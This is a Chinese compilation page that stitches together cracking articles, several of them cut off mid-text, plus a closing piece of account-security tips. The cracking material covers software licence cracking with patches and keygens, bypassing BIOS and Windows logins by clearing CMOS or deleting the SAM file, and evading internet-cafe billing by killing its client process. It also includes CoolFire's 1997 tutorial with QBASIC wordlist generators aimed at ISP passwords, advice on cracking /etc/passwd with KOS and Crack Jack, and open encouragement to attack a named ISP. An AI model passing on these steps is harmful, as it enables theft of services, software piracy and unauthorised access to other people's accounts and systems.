5如何破解系统(4)

合集下载

破解安装过程

破解安装过程在计算机使用过程中，有时我们会遇到一些需要破解安装的软件。

本文将详细介绍破解安装过程，并提供一些常见的破解方法和注意事项。

1. 什么是破解安装？破解安装是指通过一系列操作，绕过软件的授权验证机制，使其能够在未经授权或付费的情况下使用。

这种行为一般是非法的，因为它侵犯了软件的版权和知识产权。

在本文中，我们仅介绍破解安装的过程，但并不支持或鼓励破解软件。

2. 常见的破解安装方法2.1 破解补丁破解补丁是一种常见的破解安装方法，它通过修改软件的二进制文件或注册表来绕过授权验证。

具体步骤如下：1.下载破解补丁文件，通常以.exe或.patch为扩展名。

2.在运行破解补丁文件之前，确保已将软件完全安装并退出。

3.运行破解补丁文件，根据提示选择目标安装文件。

4.等待破解补丁完成，可能需要重启计算机。

5.打开软件，验证是否成功破解。

值得注意的是，使用破解补丁可能会导致软件不稳定或产生安全风险，因此请谨慎操作。

2.2 序列号生成器序列号生成器是另一种常见的破解安装方法，它通过生成合法的序列号绕过软件的授权验证。

具体步骤如下：1.下载序列号生成器，通常以.exe或.keygen为扩展名。

2.在运行序列号生成器之前，确保已将软件完全安装并退出。

3.运行序列号生成器，根据提示输入软件的相关信息，例如软件名称和版本号。

4.等待序列号生成器生成合法的序列号。

5.打开软件，输入生成的序列号，验证是否成功破解。

同样地，使用序列号生成器也存在风险，请确保下载的序列号生成器是来源可靠的，并注意防止恶意软件的安装。

2.3 离线激活部分软件提供离线激活的方式，用户可以通过一系列操作来绕过在线激活的步骤。

具体步骤如下：1.在安装过程中，选择离线激活选项并获取相关信息（通常是一个密钥或机器码）。

2.将相关信息记录下来，并通过其他设备或方式转移到能够上网的计算机上。

3.在上网的计算机上，访问软件的官方网站或相关论坛，找到离线激活的页面或帖子。

怎样破解开机密码

怎样破解开机密码现代科技的发展带来了各种安全措施，以保护个人和机密信息不被未经授权的人访问。

其中一项常见的安全措施就是开机密码，它要求在计算机启动时输入正确的密码才能进入系统。

然而，有时候我们会忘记密码或遇到需要绕过开机密码的情况。

在本文中，我们将探讨一些常见的破解开机密码的方法。

首先，我们需要明确一点，任何未经授权获得他人密码的行为都是违法的。

在没有特定授权的情况下盗取他人密码是一种违法犯罪行为，严重者可能受到法律制裁。

本文中的内容仅供技术研究和自我保护意图，切勿用于非法目的。

1. 使用后门程序：有些计算机系统存在后门程序，可以用于绕过开机密码。

这些后门程序可以通过某些特定的按键组合或输入命令执行，从而绕过密码验证。

要使用这种方法，你需要知道特定计算机系统的相关信息，例如系统型号、制造商等。

然后将这些信息用于搜索相关资料或咨询专业人士，以获取可能存在的后门程序的详细信息。

2. 使用启动光盘/USB：另一种常见的方法是使用启动光盘或USB。

你可以使用具有密码重置功能的专业软件，将其制作为启动盘。

然后，在启动计算机时，选择从光盘或USB启动，而不是从硬盘启动。

接下来，按照软件的指示进行操作，重置或删除开机密码。

3. 重置BIOS设置：BIOS是计算机启动时加载的基本输入输出系统，它存储有关计算机硬件和启动相关设置的信息。

重置BIOS设置可以帮助你绕过开机密码。

你可以通过以下方法重置BIOS设置：a. 打开计算机主机。

b. 寻找主板上的电池并取出。

待几分钟后再次放回电池。

这样做将清除BIOS存储的设置。

c. 重新启动计算机并查看是否绕过了开机密码验证。

4. 使用管理员权限：在某些情况下，你可能拥有管理或系统管理员权限，可以使用这些权限来修改或重置开机密码。

这通常适用于多用户计算机系统，例如企业或学校的计算机。

你可以联系系统管理员，向其提供你的身份验证信息，并请求修改或重置密码。

5. 使用密码破解软件：最后，你还可以尝试使用密码破解软件。

Windows常用密码破解方法

Windows常用密码破解方法Windows常用密码破解方法在日常操作中，我们经常要输入各种各样的密码，例如开机时要输入密码，QQ时也要先输入密码，假如你忘记了这些密码，就有可能用不了机器、打不开文件、不能聊天...。

也许还会造成很大的损失!下面我们就介绍电脑操作中常用密码的破解方法，希望能解你燃眉之急!一、遗忘了SYSTEM密码如果你遗忘了CMOS设置中的SYSTEM密码，就无法启动机器了，解决的办法只能是:打开机箱，把电池取下、正负极短接，给CMOS放电，清除CMOS中的所有内容(当然也就包括密码)，然后重新开机进行设置。

注意:有些主板设置了CMOS密码清除跳线，请参照主板说明书将该跳线短接，这样也可以清除CMOS密码。

二、遗忘了SETUP密码遗忘了该密码，就不能进行CMOS设置了。

如果你能使用计算机，但不能进入CMOS设置，可以这样解决:在DOS状态下启动DEBUG，然后输入如下命令手工清除SETUP密码:_ o 70 16_ o 71 16_ q你也可以用CMOS密码破解软件来显示CMOS密码，这样的软件有很多，例如Cmospwd(点击下载)，它支持Acer、AMI、AWARD、COMPAQ、DELL、IBM、PACKARD BELL、PHOENIX、ZENITH AMI等多种BIOS)，在DOS下启动该程序，CMOS密码就会显示出来。

三、遗忘了Windows登录密码WinMe/98下对策:开机后按F8键选择DOS启动，然后删除Windows安装目录下的*.PWL密码文件、以及Profiles子目录下的所有个人信息文件，重新启动Windows后，系统会弹出一个不包含任何用户名的密码设置框，此时无需输入任何内容，直接单击“确定”，登录密码即被删除。

另外，将注册表数据库HKEY_LOCAL_MACHINE、Network、Logon分支下的UserProfiles修改为“0”，然后重新启动Windows 也可达到同样目的。

1分钟破解Windows系统开机密码

1分钟破解Windows系统开机密码1分钟破解Windows系统开机密码Windows系统开机密码从Windows 98开始就被人津津乐道，最早的密码保护可以用形同虚设来形容。

直到后来的Windows 2000输入法漏洞，微软才意识到问题的严重性，而面对使用范围非常广泛的Windows XP 系统来说，密码的安全性又如何呢？如何在没有正确口令的情况下修改或者突破系统验证呢？一、光盘破解系统密码网络上搜索“破解XP密码”会看到很多信息，其中大部分据称可破解Windows XP操作系统密码的方法却不具有普遍性，只能解决个别版本操作系统的密码问题；有的甚至根本无法实现。

而利用“ERD COMMANDER”便可以成功破解Windows XP/2003操作系统密码，正好给解决密码问题，效果绝对一级棒！由于这款工具的原型是系统维护，所以我们只是利用其中一个很小的组件。

但仍然需要准备一张空白光盘。

程序默认只是一个ISO镜像文件。

利用“Nero”等光盘刻录软件将该镜像文件刻录至光盘上。

而后在电脑的BIOS中将计算机的启动顺序设为光驱优先。

用该光盘引导启动计算机。

在启动时我们会发现其启动界面与Windows XP非常相像。

当启动完成后即可进入到ERD COMMANDER的设置界面，若是用户此时装有两个或多个操作系统，选择需要破解密码的系统。

当选择完成后指定系统的键盘布局和时区，单击“确定”按钮完成设置。

此时进入到“ERD COMMANDER”桌面，依次打开系统主菜单“开始”→“管理工具”→“密码修改”，进入密码设置向导对话框。

在该对话框中单击“NEXT”按钮，就可以进入到密码设置页面了。

选择打算设置密码的帐户，分别在“新密码”、“密码确认”栏目输入相同的密码，最后单击“NEXT”按钮就可以成功更改Windows XP 中的帐户密码了。

特别提示：现在网上流传的方法都是利用SAM文件，这种方法破解密码后都会造成无法进入系统的问题，SAM文件即安全帐号管理数据库（Security Accounts Management Database），它是NT架构的操作系统（包括Windows NT/2000/XP/2003）的核心。

教你如何破解系统密码_

其实破解系统密码的方法有很多，现在我就几种常用的方法对大家简单的介绍，希望能对大家有所帮助。

方法一:破解2000的密码的方法,win2000的密码存放在系统所在的Win NT\\System 32\\CONFIG下SAM文件中，SAM文件即账号密码数据库文件。

当我们登陆系统时，系统会自动地和CONFIG 中的SAM自动校对，如发现此次密码和用户名与SAM文件中的加密数据符合时，你就会顺利登陆；如果错误则无法登陆。

既然如此，删除SAM文件来恢复密码。

如果你不用管本来系统中包含的任意账号,而且有两个系统的话,可以使用另一个访问NFTS 的系统启动电脑,或者没有安装两个系统,但可以使用其他工具来访问NTFS.然后删除C:\\WinNT\\System 32\\Config目录下的SAM文件,重新启动.这是,管理员administrator 帐号就没有密码了.安全账号管理器的具体表现就是Systemoot\\System 32\\Config\\SAM 文件.SAM文件是Windows NT/2000/XP的用户账户数据库,所有用户和登陆名及口令等相关信息都会保存在这个文件中.删除SAM的方法,只针对win2000好用,如果用在XP和WIN2003中,有可能导致系统崩溃！方法二:使用软件修改密码Windows Key 5.0和Windows XP/2000/NT Key这两款软件可以自动把Administrator密码修改为12345，重启系统后用此账号登录，然后在“控制面板”用户中，再重新修改管理员密码即可。

软件名：Windows Key 5.0使用方法：运行之后会生成3个文件：txtsetup.oem、winkey.sys和winkey.inf，把它们拷贝到一张软盘中，制作成一张Windows Key盘。

然后使用Windows XP安装光盘启动电脑，启动过程中按F6键让系统安装第三方的驱动程序。

此时，放入Windows Key软盘就会自动跳到WindowsKey的界面，这时它会强行把Administrator的密码换成“12345”。

网吧系统的破解两个方法

一：教你用2块钱在网吧任意上网的方法：1.押两块钱，让老板开台机子2.开机后，再任务栏里找（本的连接）或在网络连接里找（本地连接）。

3，打开（本地连接）点属性4.察看属性里面有很多东西，往下拉滚动条，把倒数第二行东西前面的那个框里的勾号给去掉，点确定5.这时查看你的余额，查不到了~~！！！说明已经搞定了！！！6.你可以任意的上网了！！无论多长时间，但记住，别关机。

重启后就没用了。

切记.别被老板发现啊二：当你在网吧上网的时候，当到时间后，机器都会被锁定，这个时候你可以按SLEEP键，（不要说，你不知道是那个健啊），然后你会发现显示器会逐渐的转化为待机状态，再按W AKE UP 键，你仔细的盯着显示器，会看到屏幕慢慢清晰，计费系统就会消失掉了，锁定就被解除了，接下来不用我明说了吧，都知道怎么去做,那就是只要不被网管发现,想上多久,就上多久.高人点评：计费系统可以限制用户的待机，注销权限，是通过屏蔽相关选项按纽的方法来实现的，但很多键盘可以通过按键设置直接调用系统的待机或休眠命令，饶开计费系统本身的限制，由于待机命令和计费系统有冲突，一旦进入了待机状态，计费系统也自然就失败了。

三.正常启动windows，在进入win桌面时按下ctrl＋alt＋del，出现任务管理器，我们可以看见其中有一个名字叫client的进程，这个就是万象的客户端程序，把它结束任务。

之后马上再次按下ctrl＋alt＋del,看见里面还有个client的进程，再次杀掉它，这是因为万象有自身防杀功能，被杀掉进程后会再次启动一次，不过也仅仅是两次。

这下我们就可以使用了，机子不会再出现要求输入卡号和密码的界面。

此招我屡试屡爽，从不失手，不过要求掌握好按键的时机。

缺点：只对万象计费系统有用。

四，如果你所在的网吧用的系统是XP的，关机在开机，这个过程最重要。

手一定要一直按这F8键.这样子是强行进入系统。

接着出来一个屏幕。

你就选择：“当前安全模拟”（回车键选择）会出来一个对话框，点“否”好了，这样就可以进去随便玩了。

如何破解系统(4)

如何破解系统(4)这不是一个教学文件, 只是告诉你该如何破解系统,好让你能够将自己的系统作安全的保护, 如果你能够将这份文件完全看完, 你就能够知道电脑骇客们是如何入侵你的电脑, 我是CoolFire, 写这篇文章的目的是要让大家明白电脑安全的重要性, 并不是教人 Crack Password若有人因此文件导致恶意入侵别人的电脑或网路, 本人概不负责 !!经过了上一次的实战, 该 ISP 已经灰头土脸, 当然也已经将被我揪出密码的 UserPassword 改掉了, 但是系统安全部分还是没有多大的改进, 唉.... 有点伤心.这一次的内容主要在加强上次所说明的字典档部分, 因为我又想到另外一个方法可以快速的产生字典档,而且用这个方法产生的字典档更吓人; 当然还要跟大家介绍另一个好用的 Password Crack 工具,并加上最近的一些信件整理出来的 FAQ 等, 希望能在过年以前就将这一篇写好!本次主题: 字典档的维护及更新连接位址: 无特别说明: 快点加强一下你的字典档吧 !! 不然怎麽破密码哩?!-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- **** 课程开始 ****依我看, "字典" 这个讨论应该是谈不完的了, 因为有太多的方法了,但是为了维护你自身的权益, 自己的密码最好保管好, 我在前几天刚拿到 KOS 的时候, 拿她来跑一个 ISP 的/etc/passwd 档案, 原先单单使用 Crack Jack 只找到 22 组的密码, 用了 KOS 加上Crack Jack 居然共找到了88 组的密码, 还好该 ISP 不像高-NET 一样是属於 "时数收费" 的收费方式, 不然可能有许多的User 自己当了冤大头都还浑然不知. 所以这个讨论还是免不了的, 如果你觉得你不需要这些知识,请跳过去吧!!上次的字典档讨论, 我写了一个简短的程式出来产生了 3120 组的密码,但是这些密码并不一定是一个 "字", 也就是说产生完全合乎我们所限定的 "法则", 但却不一定是一个已存在的字,所以如果要产生一个 "高效率" 的字典档, 使用上次所说的那种方式就不是一个很好的方法了.以上次所写的程式 MAKEDIC.BAS 所产生的 MyDic.txt 为例, 其中的 braard clale cleoe dgeiingdgeie.......等字就不是很 "正常" 的字, 当然也有可能是某人的密码, 但其机率小之又小.这次所写的程式名称为 TXT2DIC.BAS, 我们还是先使用大家都熟悉的 QBASIC 来写,以方便日後的修改, 先说明一下原理: 这个程式是一个自动产生字典档的程式, 我们是经由给程式一个"文字档", 然後由程式自该文字档中 "抽取出" 字出来, 这些文字档必需是英文的文字档,如果使用中文的文字档的话程式跑起来会有问题, 英文文字档的取得可由英文版软体的Readme档或网路上的英文版学术论文或其它的来源.当然有可能在文件中会出现像 /~fetag 的字眼,我们总不能把它也列入字典档中吧! 所以程式中有一点小小的设计, 就是该字若字母数大於 10 则不列入考虑,我们也可以使用上一次所介绍的子音+母音... 等的公式来作检查法, 但是我没有太多的时间作这些事,留待有空的人来写吧!!底下就是该程式原始码, 请各位以 QBASIC 来启动并执行它:--------------- Txt2Dic.BAS Start Here------------------------------------------------------------------------------- --------CLSPRINT "Txt2Dic Version 0.1B (C)1997 By CoolFire ReChange: CoolFire"PRINT "[Source Released, For Changer, Add Your Name in ReChange Field]"PRINTLINE INPUT "Text File Name: "; TxtFile$LINE INPUT "Output Dic Name: "; DicFile$OPEN TxtFile$ FOR INPUT AS #1OPEN "TMPFILE1.$$$" FOR OUTPUT AS #2REM Filter for text fileReInput:IF EOF(1) THEN GOTO EndFileLINE INPUT #1, L$ReTry:L$ = LTRIM$(L$)L$ = RTRIM$(L$)TmpValue = INSTR(L$, " ")IF TmpValue <> 0 THENDicTxt$ = LEFT$(L$, TmpValue - 1)PRINT #2, DicTxt$LOCATE 7, 1: PRINT "Step 1, Add word : "; DicTxt$; STRING$(10, " ")L$ = RIGHT$(L$, LEN(L$) - TmpValue)GOTO ReTryELSEGOTO ReInputEND IFENDEndFile:CLOSEREM Filter for special chapter and lower-case the wordOPEN "TMPFILE1.$$$" FOR INPUT AS #1OPEN DicFile$ FOR OUTPUT AS #2Special$ = "-,.:<>?*()/_" + CHR$(34)DOLINE INPUT #1, L$FOR I = 1 TO 13SP$ = MID$(Special$, I, 1)TmpValue = INSTR(L$, SP$)IF TmpValue <> 0 THENLOCATE 8, 1: PRINT "Remode special word :"; L$; STRING$(10, " ")L$ = ""END IFNEXT IIF L$ <> "" THENL$ = LCASE$(L$)PRINT #2, L$END IFLOOP UNTIL EOF(1)CLOSEKILL "TMPFILE1.$$$"END--------------- Cut Here, End of Txt2Dic.BAS------------------------------------------------------------------------------- -我只花了几分钟写这个程式, 因为时间紧迫 (为了在过年前将此篇送出),所以有些考虑到的地方都没有作修改, 在这里再作些说明: 这个程式的第一个部份为分解字串, 将碰到的CHR$(20)也就是空白分离出来, 这是分解一句话中字与字最简单的方法,并且会将分解出来的字存在一个暂存档中, 作为第二部分的使用. 第二部分将暂存档读入, 并过滤非正常的字母出现,我只让它过滤了十三种特殊字如: -,.:<>?*()/_" 等, 当然如果你可视需要再作删减的功能.原本想要再写排序及过滤重覆字的功能, 但是这些功能不是那麽需要,因为在排序方面你可以使用电脑中 DOS 的 SORT 或 Crack Jack 的 JSort, 过滤重覆字也有 CoolFire 的De-Sort可以使用, 所以就先在这里停住, 有心的读者可以自行修改, 修改完後也请传送一份给我,作为日後教学的参考之用, 或提供网友们分享.仔细看一看这个程式还是有很多地方没有作修正, 或是没有作 Error Handle 等,但已经给各位原始程式了, 大家就试著修改看看吧! Qbaisc 是一个很简单的语言,只要你试试看就可以把这个程式改得很好了. 用这个程式试了一个文字档, 发现它找到的字都是一些很简单的字,当然跟你所给它的材料有很大的关系, 使用这个程式配合一个很棒的材料档, 应该可以作出一份很棒的字典档,希望大家可以好好的利用它.-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- **** 新工具程式 Global KOS Krack (KOS) ****记得从上次讲过 Crack Jack 之後好像就没有再讲过 Password Crack 的工具程式了,当然也跟最近没有甚麽好程式出现有关系, 像前一阵子风行的 Mail Bomb 最近也没有再见到改版,倒是出现了一些写得不怎麽样的 Bomb 程式, 了无新意, 我现在还是在用 KaBoom 3.0, 你呢 ??前几天无聊逛了一下国外的 Crack 站台, 意外的发现了一个叫作 KOS 的东西, 传回来试了一试果然不错,而且里面还包含了一个 3MB 多的字典档, 这对字典档中缺料的读者们肯定会有帮助的.KOS 是许多工具的集合, 由一些批次档对这些工具作了很棒的整合, 它必须与 Crack Jack 一起使用才能运作, 平常我们在处里 Password Crack 时都需要考虑到第一个字母大写, 加数字,字母大小写转换等等的工作, 都可以由 KOS 一手包办, 你只要取得 KOS, 就可以配合著Crack Jack将以前单单使用 Jack 寻找的 /etc/passwd 再翻出来 Crack 看看, 保证你会体会到拥有 KOS的好处.像前面所说的, 我将以前只找到 22 组密码的 /etc/passwd 重新跑过, KOS居然可以帮助我找出 88组的密码, 足可见 KOS 可以增强 Crack Jack 四倍的 Cracking 能力, 作者宣称KOS 在NT 上开了DOS 视窗就可以跑, 但是我以 NT 4.0 中文版及 Windows 95 (97 年版) 测试後还是因为Jack 无法在上面运作而停摆, 只好回到纯 DOS 模式下才能够使用, 但是 KOS还是能发挥它强大的功能, 唯一需要的就是一部速度快一点的机器, 当然还有时间也是必需的.我使用 KOS + Crack Jack 在 Pentium-100 32MB RAM SCSI-II HDD 上跑一个/etc/passwd 档加上我的字典档 (passwd 档案大小为 197K, 字典档大小为 5.1MB),跑了四天都还没有完全跑完的情况, 就可以知道KOS 尽了多大的努力在帮我们找出密码, 当然如果你的/etc/passwd 只有几 K大小可能只消几个小时就可以全部跑完了!! 不过要找出 root 密码, 可能还是要靠点运气才行了....KOS 的压缩档中还包含了 SHADOW.C 及 UNSHADOW.C 两个解 shadow 的程式, 可在 Unix主机上编译以取得被 shadow 过的 /etc/passwd, 在这里也顺便提出,网友们不要忘了顺便试试这两支程式.想要知道哪里可以拿到 Global KOS Krack ?? 到我们的 Home Page 看看吧!!-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- **** CoolFire FAQ ****[Q1]请问一下你的letmein 2.0何时出来?[A1]因为最近实在是太忙了, 所以有很多的事情都没有办法依照预定的行程作完,所以最近也都不敢再多排订行程,看看最近首页更新的状况也应该知道我们实在是没有时间多作别的事了, 所以要先跟期待 LetMeIn 2.0 的人先说生抱歉, 但是我们的 Idea 还是在持续增加中,所以如果有空写 LetMeIn 2.0 的时候将会推出很棒的版本, 请再等等吧~~~ 这阵子先过了再说!![Q2]请问一下letmein 1.0 的setup keys-要如何设定? 如果用 netterm 要找login name& passwd在letmein要怎样设定不断换行, 而不会文字一直加长?[A2] LetMeIn 1.0 已经有作一份中文的简易说明来补充原先说明档的不足,所以如果你对该软体有不清楚的地方请先阅读这个说明档之後再提出问题, NetMeIn 1.0 是在 NetTerm下作的测试,所以使用 NetTerm 配合 LetMeIn 应该不会有问题, 请再试试看![Q3]请问 "最新之系统安全 mailliast" 要到那里去看? 还是要订阅? 如何订阅呢?是英文or 中文?[A3]原本想要在这次首页更新的时候加入一些 Mail List 订阅的连结点,但是因为时间太匆促所以没有作, 先跟各位说声抱歉了, 你可在国外的 Hacker 站找到,或是先订阅下面这一个List 来看看, 不过目前这类的 Mail List 都是英文的.写到: Majordomo@标题: (空白不填)内容: SUBSCRIBE www-security 你的 E-Mail 信箱[Q4]为什麽 De-sort 不能用? Key In ..... 为什麽会这样??C:\Program Files\LetMeIn>de-sortDe-Sort V0.1 (C)1996 By FETAG Software Development Co. R.O.C. TAIWAN.This program will:[1] Delete reiteration word from a dictionary file[2] Write the new file to a temp file[3] Delete old dictionary file[4] Rename new dictionary file as old one's file nameDictionary file name: 1{Now Start To Check}Some error found when program processing, Code= 53De-Sort Author: James Lin E-Mail: fetag@FETAG Software Development Co: /~fetagC:\Program Files\LetMeIn>[A4]出现 Error Code = 53 代表开档有问题, 你所输入的档名 '1' 这个档案可能不存在,你应该检查看看这个档案是否存在於目前目录, 否则就应该给它目录名称, 其它的ErrorCode 可以参考 QuickBasic 或 Basic PDS 的书籍来查出错误发生的原因是甚麽![Q5]小弟自从放寒假後,"高-Net"费用往上狂飙, 急起直追请问你有Crack 过 "高-Net"吗??"高 - Net"的防备似乎蛮强的!我是你的忠实读者,你的作品coolhc-1,coolhc-2,cool-3,我都有努力钻研学习,但就是弄不到 etc/passwd, 不知是不是我资质太低 ~~#@$%烦请高手帮忙弄到 etc/passwd Ps: coolhc-2,and coolhc-3 最後的那句(高-Net 还是除外)是说"高-Net"可以或不可以 Crack ,如果不可以就不用帮我Crack 了![A5]当然还是有漏洞, 我有稍微试过, 只要是新发现的 Bug,他们会很快的有人将漏洞补上,而且该 ISP 有许多的工作人员, 并且采用计时收费的方式, 所以就算你 Crack 了,也是将帐目算到别人头上, 有点缺德, 所以不需要 Crack 它, 大家不要申请它这个 ISP就好了! 不然还是请你看看系统安全的 Mail List 了解最新的系统安全消息!比它们快一步进入系统就可以了! 这个文章还是以教学为目的, 无法给你 ISP 的 /etc/passwd![Q6]Hinet 密码 to Dic: 因为 Hinet 的密码格式是 1abcdefg 所以我就依照 coolhc-3的程式设计了这个东西! (0aaaaaaa ~ 9zzzzzzz) 希望会有用! 欢迎批评,指教,修改.--------------- HinetPas.BAS Start Here------------------------------------------------------------------------------- --------DIM No$(10)DIM Eng$(26)DIM LastWord$(26)DIM a$(26)DIM b$(26)DIM c$(26)DIM d$(26)DIM e$(26)DATA "0", "1", "2", "3", "4", "5", "6", "7", "8", "9"DATA "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"DATA "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"DATA "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"DATA "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"DATA "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"DATA "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"DATA "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"FOR I = 1 TO 10READ No$(I)PRINT No$(I)NEXT IFOR I = 1 TO 26READ Eng$(I)NEXT IFOR I = 1 TO 26READ LastWord$(I)NEXT IFOR I = 1 TO 26READ a$(I)NEXT IFOR I = 1 TO 26READ b$(I)NEXT IFOR I = 1 TO 26READ c$(I)NEXT IFOR I = 1 TO 26READ d$(I)NEXT IFOR I = 1 TO 26READ e$(I)NEXT IOPEN "Hinetpas.txt" FOR OUTPUT AS #1FOR I = 1 TO 10FOR J = 1 TO 26FOR k = 1 TO 26FOR l = 1 TO 26FOR m = 1 TO 26FOR n = 1 TO 26FOR o = 1 TO 26FOR p = 1 TO 26PRINT #1, No$(I) + Eng$(J) + LastWord$(k) + a$(l) + b$(m) + c$(n) + d$(o) + e$(p)NEXT pNEXT oNEXT nNEXT mNEXT lNEXT kNEXT JNEXT ICLOSE : END--------------- Cut Here, End of HiNetPas.BAS------------------------------------------------------------------------------- -[A6]谢谢这位网友, 你的 For... Next 的 Deep 实在太长了,不得不将格式改变一下才能放进文章中. 也希望有更多人的集思, 写出更多字的字典档![Q7]我用pass2dic时没辨法转成文字档ㄟ, 会有错误说(以下的讯息)请问要如何更正... Some error found when program processing, Code= 75[A7]试过了, 都没有办法产生这样的 Code, 所以请看看磁碟是否防写, 或参考 BasicPDS 的书籍寻找该 Error Code 的解释或说明.[Q8]请问一下，passwd除了会放在/etc/之下，还有可能会放在哪儿？[A8]有有可能是 /etc/ 目录中的 passwd.??? 或 shadow 或 shadow.??? 都有可能.[Q9]我有在你的HOMEPAGE DOWNLOAD CoolHC#1.txt里面有些步骤不懂如:1.(首先要先连上某一台你已经有帐号的 Telnet 主机.....)? 是不是在刚上HINET时出现拨号视窗下选=3进入TELNET?还是SELECT=1 进入PPP後用WS-FTP 找寻etc/pass 的档案?2.(我有在你的HOMEPAGE DOWNLOAD A letme.. of program 有点像claymore,不过不会使用Q.他不把所有的设定都用好後按"START BF"在 DELAY 未结束时,把游标移到要 CRACK 的PASSWORD BOX?但是出现了很长的数字也没有 CRACK?3.(我在一些国外的WAREZ 看过有关HACKUNIX的文件里有写都包函一段 "C"语言,是不是能在 TELNET 下输入执行程式就会自动CHECKPASSWORD?是不是你在 "COOLHC#1.TXT里有保留一段进入 SYSTEM 的程式?4.(有时用WS-FTP下找PASSWORD时,不是隐藏就是没用的档案,是否有方法让隐藏档显示?5.你有一个AUTOHACK是不是一种利用拨电话的方式进入主机?(有点像电影中的战争游戏)?6.像SHADOW.C的档案要如何组译成执行档?[A9]好多的问题喔, 我一个一个回答吧! 1.LetMeIn! 是用在 PPP 模式, 不是 Telnet模式, 你先连上 PPP 模式後开启 NetTerm 然後开 LetMeIn! 在 LetMeIn! 中作好设定按下Start键後再回到 NetTerm 等待自动输入. 2.Telnet 可在你的 Win95 中找到, 只要连上 PPP模式就可以使用, 你也可以使用 NetTerm 之类的软体, 不一定要在连线时选 Telnet模式.3. LetMeIn! 需要在启动後回到 Telnet 软体才会自动 Crack 4.AutoHack是自动拨号寻找有连接数据机的电话号码, 对 InterNet 来说可能没有用出吧! 5.用这一期 CoolHC所说的 KOS 中有 Shadow.c 可以试试. 6.用 cc 指令可以编译, 但要看你的 ISP有没有提供.[Q10]请问我抓到的一些字典档 .Z 格式, 为何无法用 uncompress 解开,解开後都是一些乱码[A10]如果你用 Windows 或是 Win95 的话, 试著安装 WinZip 应该就可以解开了 !![Q11]请问能够提供更多的crack document吗(能有中文吗,英文的有点吃力说)或是介绍更多的Crack Tools.[A11] CoolHC 就是中文的呀! 但是其它的当然只有英文的可以看罗,现在有没有多少人投入在写这样的东西呀~~ 本期的新工具就有介绍 KOS,如果下此有好工具也会一并提出来介绍,若有网友使用的心得也可以传给我放在 Home Page 上!**** 後语 ****CoolFire 改 E-Mail 了! 因为 HotMail 都要用 WWW 浏览器才能收信, 有点火大,所以这次在CyberSpace 申请了一个新的帐号, 请写信给我的时候不要投错信箱了喔~~~~E-Mail: coolfire@我们的首页感谢大家的支持, 现在人数已经超过 2,600 了, 这是一个地下站(未对外正式公布)很棒的一个数字, 在与其它工作室人员研究之後, 暂时不对外公布站址, 如果你是 "误闯"到本站来的! 我们欢迎你的加入, 但目前尚不考虑对外公布站址,请您在告诉你的朋友有这麽一个站存在的时候, 请他不要随便告诉别人 (请只告诉你信赖的朋友;或对电脑有一份特别狂热的人,我们都欢迎他们的加入), 我们目前所采用的方式将是开放式的!对首页部份暂时不以密码方式处理.** 不要 Crack 这个首页的 ISP!!!! 否则 FETAG Sofeware's Hacking Page将会完全关闭, 再也不寻找其它的地方来放置, 希望给你的是使用电脑的 "知识",不要利用它来夺取任何的"权利", 本首页著重的是教育, 而不是一的教导攻击的方法, 希望大家对於政府机关(org.tw) 或教育机构 (edu.tw) 不要作任何的破坏!! 还有我的 ISP......:D------首页更新部分因为最近都太忙了, 所以每个人都没有时间写, 希望各位见谅, 这次特别把CoolHC的内容增加, 希望可以让你学到更多, 如果有人有写类似这样的文章, 请寄给我一份,我也会将它放到首页上的~~~:)------再次重申, Crack 别人站台之後不要破坏别人站台中的资料, 此篇文章仅作为教育目的,不主张你随便入侵他人主机.... (高-Net 还是除外)... 请勿将这类技术使用於破坏上 (又...如果第三次世界大战开打, 你可以任意破坏敌国的电脑网路... 我全力支持),最严重的情况(如果你真的很讨厌该主机的话)... 就将它 Shut Down.... 好了! 别太暴力了!。

突破网络系统使用挑战的成功方法：五个有效技巧(一)

突破网络系统使用挑战的成功方法：五个有效技巧在如今高度互联的世界里，网络系统使用已经成为我们生活中不可或缺的一部分。

然而，我们经常遇到各种各样的挑战，比如密码忘记了、账号无法访问等等。

面对这些问题，我们应该如何有效地解决呢？在本文中，我将分享五个有效技巧，帮助你突破网络系统使用的挑战。

1. 重新设定密码的技巧当密码忘记或遗失时，我们往往会感到困惑和焦虑。

然而，重新设定密码并不是一件难事。

首先，许多网站和应用程序提供了找回密码的选项，你可以通过验证个人信息或回答安全问题来恢复访问权。

如果找回密码选项不可用，你可以尝试使用“忘记密码”功能，系统将会发送一封电子邮件至你的注册邮箱，让你重设新密码。

此外，我们要养成使用复杂、独特的密码，并及时更新密码的习惯，这样可以保护账号的安全。

2. 多因素认证的重要性除了设置安全的密码外，启用多因素认证(MFA)也是保护账号安全的重要步骤。

MFA要求用户提供除密码之外的其他身份验证信息，如手机验证码、指纹识别、面部识别等。

这种额外的认证方式可以大大提高账号的安全性，因为即使密码泄露，黑客也无法绕过其他身份验证步骤。

3. 定期更新软件和操作系统随着技术的不断进步，恶意黑客也在不断改进攻击方法。

为了保护自己的设备免受网络攻击，我们必须定期更新软件和操作系统。

这些更新通常包含了修复已知漏洞和强化安全性的功能。

而忽视这些更新可能会导致个人信息被黑客窃取或设备被感染恶意软件。

4. 警惕钓鱼邮件和骗术网络犯罪分子经常使用钓鱼邮件和骗术来盗取个人信息。

